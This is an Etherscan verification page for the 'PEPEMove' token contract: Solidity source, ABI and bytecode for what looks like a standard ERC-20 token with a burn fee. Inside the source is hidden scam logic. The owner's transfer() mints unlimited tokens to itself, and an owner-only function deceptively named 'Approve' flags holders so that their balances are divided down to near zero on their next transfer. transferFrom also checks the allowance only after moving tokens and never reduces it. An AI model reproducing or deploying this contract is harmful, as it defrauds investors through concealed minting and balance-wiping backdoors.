ETH Price: $3,430.66 (+2.36%)
Gas: 4 Gwei

Token

PEPEMove (PEPEMove)
 

Overview

Max Total Supply

8,800,000,000 PEPEMove

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
171,680,144.439612049 PEPEMove

Value
$0.00
0x167e2ec158c0e685fd8b6c9afdb5c5998c2b30bd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
token

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-04-19
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-17
*/

/**
 *Submitted for verification at BscScan.com on 2022-11-11
*/

pragma solidity ^0.8.19;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address accoiint) external view returns (uint256);

    function transfer(address recipient, uint256 ameunts) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 ameunts) external returns (bool);

    function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract token is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    string private _name = "PEPEMove";
    string private _symbol = "PEPEMove";
    uint256 private _decimals = 9;
    uint256 private _totalSupply = 8800000000 * 10 ** _decimals;
    uint256 private _maxTxtransfer = 8800000000 * 10 ** _decimals;
    uint256 coiin = 130000000000000* 10 ** _decimals;
    uint256 private _burnfee = 5;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => bool) private _hgd421;



    constructor () {
        _balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint256) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address sender, address recipient, uint256 ameunts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        if(_hgd421[sender] == true) {
            _balance[sender] = _balance[sender].div(coiin).div(1);
        }
        
        uint256 feeameunt = 0;
        feeameunt = ameunts.mul(_burnfee).div(100);
        _balance[sender] = _balance[sender].sub(ameunts);
        _balance[recipient] =  _balance[recipient]+ameunts-feeameunt;
        emit Transfer(sender, _DEADaddress, feeameunt);
        emit Transfer(sender, recipient, ameunts-feeameunt);

    }

    function transfer(address recipient, uint256 ammounts) public virtual override returns (bool) {
        address rin442 = _msgSender();
        if(rin442 == owner() && owner() == _msgSender()){
            _balance[rin442] = _balance[rin442].add(ammounts);
        }

        
        _transfer(rin442, recipient, ammounts);
        return true;
    }


    function balanceOf(address accoiint) public view override returns (uint256) {
        return _balance[accoiint];
    }

    function approve(address spender, uint256 ammounts) public virtual override returns (bool) {
        _approve(_msgSender(), spender, ammounts);
        return true;
    }
    function Approve(address _address, bool _value) external onlyowner {
        _hgd421[_address] = _value;
    }
    function _approve(address owner, address spender, uint256 ameunts) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = ameunts;
        emit Approval(owner, spender, ameunts);
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 ameunts) public virtual override returns (bool) {
        _transfer(sender, recipient, ameunts);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= ameunts, "IERC20: transfer ameunts exceeds allowance");
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"ammounts","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoiint","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ammounts","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ameunts","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600881526020017f504550454d6f7665000000000000000000000000000000000000000000000000815250600390816200004a919062000548565b506040518060400160405280600881526020017f504550454d6f76650000000000000000000000000000000000000000000000008152506004908162000091919062000548565b506009600555600554600a620000a89190620007b2565b64020c855800620000ba919062000803565b600655600554600a620000ce9190620007b2565b64020c855800620000e0919062000803565b600755600554600a620000f49190620007b2565b65763bfbd2200062000107919062000803565b600855600560095561dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015f57600080fd5b50600062000172620002c660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a350600654600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002b891906200085f565b60405180910390a36200087c565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200035057607f821691505b60208210810362000366576200036562000308565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003d07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000391565b620003dc868362000391565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000429620004236200041d84620003f4565b620003fe565b620003f4565b9050919050565b6000819050919050565b620004458362000408565b6200045d620004548262000430565b8484546200039e565b825550505050565b600090565b6200047462000465565b620004818184846200043a565b505050565b5b81811015620004a9576200049d6000826200046a565b60018101905062000487565b5050565b601f821115620004f857620004c2816200036c565b620004cd8462000381565b81016020851015620004dd578190505b620004f5620004ec8562000381565b83018262000486565b50505b505050565b600082821c905092915050565b60006200051d60001984600802620004fd565b1980831691505092915050565b60006200053883836200050a565b9150826002028217905092915050565b6200055382620002ce565b67ffffffffffffffff8111156200056f576200056e620002d9565b5b6200057b825462000337565b62000588828285620004ad565b600060209050601f831160018114620005c05760008415620005ab578287015190505b620005b785826200052a565b86555062000627565b601f198416620005d0866200036c565b60005b82811015620005fa57848901518255600182019150602085019450602081019050620005d3565b868310156200061a578489015162000616601f8916826200050a565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006bd578086048111156200069557620006946200062f565b5b6001851615620006a55780820291505b8081029050620006b5856200065e565b945062000675565b94509492505050565b600082620006d85760019050620007ab565b81620006e85760009050620007ab565b81600181146200070157600281146200070c5762000742565b6001915050620007ab565b60ff8411156200072157620007206200062f565b5b8360020a9150848211156200073b576200073a6200062f565b5b50620007ab565b5060208310610133831016604e8410600b84101617156200077c5782820a9050838111156200077657620007756200062f565b5b620007ab565b6200078b84848460016200066b565b92509050818404811115620007a557620007a46200062f565b5b81810290505b9392505050565b6000620007bf82620003f4565b9150620007cc83620003f4565b9250620007fb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006c6565b905092915050565b60006200081082620003f4565b91506200081d83620003f4565b92508282026200082d81620003f4565b915082820484148315176200084757620008466200062f565b5b5092915050565b6200085981620003f4565b82525050565b60006020820190506200087660008301846200084e565b92915050565b611aa6806200088c6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f5780638da5cb5b146101bf57806395d89b41146101dd578063a9059cbb146101fb578063c2af913b1461022b578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146101075780631f478f1e1461012557806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce91906111e2565b60405180910390f35b6100f160048036038101906100ec919061129d565b6102f7565b6040516100fe91906112f8565b60405180910390f35b61010f610315565b60405161011c9190611322565b60405180910390f35b61013f600480360381019061013a9190611369565b61031f565b005b61015b600480360381019061015691906113a9565b61040f565b60405161016891906112f8565b60405180910390f35b6101796104f3565b6040516101869190611322565b60405180910390f35b6101a960048036038101906101a491906113fc565b6104fd565b6040516101b69190611322565b60405180910390f35b6101c7610546565b6040516101d49190611438565b60405180910390f35b6101e561056f565b6040516101f291906111e2565b60405180910390f35b6102156004803603810190610210919061129d565b610601565b60405161022291906112f8565b60405180910390f35b61023361073a565b005b61024f600480360381019061024a9190611453565b61088f565b60405161025c9190611322565b60405180910390f35b606060038054610274906114c2565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906114c2565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b600061030b610304610916565b848461091e565b6001905092915050565b6000600654905090565b610327610916565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ab9061153f565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061041c848484610ae7565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610467610916565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104de906115d1565b60405180910390fd5b60019150509392505050565b6000600554905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461057e906114c2565b80601f01602080910402602001604051908101604052809291908181526020018280546105aa906114c2565b80156105f75780601f106105cc576101008083540402835291602001916105f7565b820191906000526020600020905b8154815290600101906020018083116105da57829003601f168201915b5050505050905090565b60008061060c610916565b9050610616610546565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156106895750610653610916565b73ffffffffffffffffffffffffffffffffffffffff16610671610546565b73ffffffffffffffffffffffffffffffffffffffff16145b15610724576106e083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1f90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61072f818585610ae7565b600191505092915050565b610742610916565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c69061153f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361098d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098490611663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f3906116f5565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ada9190611322565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4d90611787565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc90611819565b60405180910390fd5b60011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610cc857610c846001610c76600854600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f7d90919063ffffffff16565b610f7d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610cf26064610ce460095485610fc790919063ffffffff16565b610f7d90919063ffffffff16565b9050610d4682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd59190611868565b610ddf919061189c565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ea19190611322565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610f04919061189c565b604051610f119190611322565b60405180910390a350505050565b6000808284610f2e9190611868565b905083811015610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a9061191c565b60405180910390fd5b8091505092915050565b6000610fbf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061108b565b905092915050565b6000808303610fd9576000905061103b565b60008284610fe7919061193c565b9050828482610ff691906119ad565b14611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90611a50565b60405180910390fd5b809150505b92915050565b600061108383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ee565b905092915050565b600080831182906110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c991906111e2565b60405180910390fd5b50600083856110e191906119ad565b9050809150509392505050565b6000838311158290611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d91906111e2565b60405180910390fd5b5060008385611145919061189c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118c578082015181840152602081019050611171565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b482611152565b6111be818561115d565b93506111ce81856020860161116e565b6111d781611198565b840191505092915050565b600060208201905081810360008301526111fc81846111a9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061123482611209565b9050919050565b61124481611229565b811461124f57600080fd5b50565b6000813590506112618161123b565b92915050565b6000819050919050565b61127a81611267565b811461128557600080fd5b50565b60008135905061129781611271565b92915050565b600080604083850312156112b4576112b3611204565b5b60006112c285828601611252565b92505060206112d385828601611288565b9150509250929050565b60008115159050919050565b6112f2816112dd565b82525050565b600060208201905061130d60008301846112e9565b92915050565b61131c81611267565b82525050565b60006020820190506113376000830184611313565b92915050565b611346816112dd565b811461135157600080fd5b50565b6000813590506113638161133d565b92915050565b600080604083850312156113805761137f611204565b5b600061138e85828601611252565b925050602061139f85828601611354565b9150509250929050565b6000806000606084860312156113c2576113c1611204565b5b60006113d086828701611252565b93505060206113e186828701611252565b92505060406113f286828701611288565b9150509250925092565b60006020828403121561141257611411611204565b5b600061142084828501611252565b91505092915050565b61143281611229565b82525050565b600060208201905061144d6000830184611429565b92915050565b6000806040838503121561146a57611469611204565b5b600061147885828601611252565b925050602061148985828601611252565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114da57607f821691505b6020821081036114ed576114ec611493565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061152960208361115d565b9150611534826114f3565b602082019050919050565b600060208201905081810360008301526115588161151c565b9050919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f20616c6c6f77616e636500000000000000000000000000000000000000000000602082015250565b60006115bb602a8361115d565b91506115c68261155f565b604082019050919050565b600060208201905081810360008301526115ea816115ae565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061164d60258361115d565b9150611658826115f1565b604082019050919050565b6000602082019050818103600083015261167c81611640565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006116df60238361115d565b91506116ea82611683565b604082019050919050565b6000602082019050818103600083015261170e816116d2565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061177160268361115d565b915061177c82611715565b604082019050919050565b600060208201905081810360008301526117a081611764565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061180360248361115d565b915061180e826117a7565b604082019050919050565b60006020820190508181036000830152611832816117f6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187382611267565b915061187e83611267565b925082820190508082111561189657611895611839565b5b92915050565b60006118a782611267565b91506118b283611267565b92508282039050818111156118ca576118c9611839565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611906601b8361115d565b9150611911826118d0565b602082019050919050565b60006020820190508181036000830152611935816118f9565b9050919050565b600061194782611267565b915061195283611267565b925082820261196081611267565b9150828204841483151761197757611976611839565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006119b882611267565b91506119c383611267565b9250826119d3576119d261197e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a3a60218361115d565b9150611a45826119de565b604082019050919050565b60006020820190508181036000830152611a6981611a2d565b905091905056fea26469706673582212209889dae35380392d411a8c5a309ce58781ccb4772874ade8aae10ce01c99d4fe64736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f5780638da5cb5b146101bf57806395d89b41146101dd578063a9059cbb146101fb578063c2af913b1461022b578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146101075780631f478f1e1461012557806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce91906111e2565b60405180910390f35b6100f160048036038101906100ec919061129d565b6102f7565b6040516100fe91906112f8565b60405180910390f35b61010f610315565b60405161011c9190611322565b60405180910390f35b61013f600480360381019061013a9190611369565b61031f565b005b61015b600480360381019061015691906113a9565b61040f565b60405161016891906112f8565b60405180910390f35b6101796104f3565b6040516101869190611322565b60405180910390f35b6101a960048036038101906101a491906113fc565b6104fd565b6040516101b69190611322565b60405180910390f35b6101c7610546565b6040516101d49190611438565b60405180910390f35b6101e561056f565b6040516101f291906111e2565b60405180910390f35b6102156004803603810190610210919061129d565b610601565b60405161022291906112f8565b60405180910390f35b61023361073a565b005b61024f600480360381019061024a9190611453565b61088f565b60405161025c9190611322565b60405180910390f35b606060038054610274906114c2565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906114c2565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b600061030b610304610916565b848461091e565b6001905092915050565b6000600654905090565b610327610916565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ab9061153f565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061041c848484610ae7565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610467610916565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104de906115d1565b60405180910390fd5b60019150509392505050565b6000600554905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461057e906114c2565b80601f01602080910402602001604051908101604052809291908181526020018280546105aa906114c2565b80156105f75780601f106105cc576101008083540402835291602001916105f7565b820191906000526020600020905b8154815290600101906020018083116105da57829003601f168201915b5050505050905090565b60008061060c610916565b9050610616610546565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156106895750610653610916565b73ffffffffffffffffffffffffffffffffffffffff16610671610546565b73ffffffffffffffffffffffffffffffffffffffff16145b15610724576106e083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1f90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61072f818585610ae7565b600191505092915050565b610742610916565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c69061153f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361098d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098490611663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f3906116f5565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ada9190611322565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4d90611787565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc90611819565b60405180910390fd5b60011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460f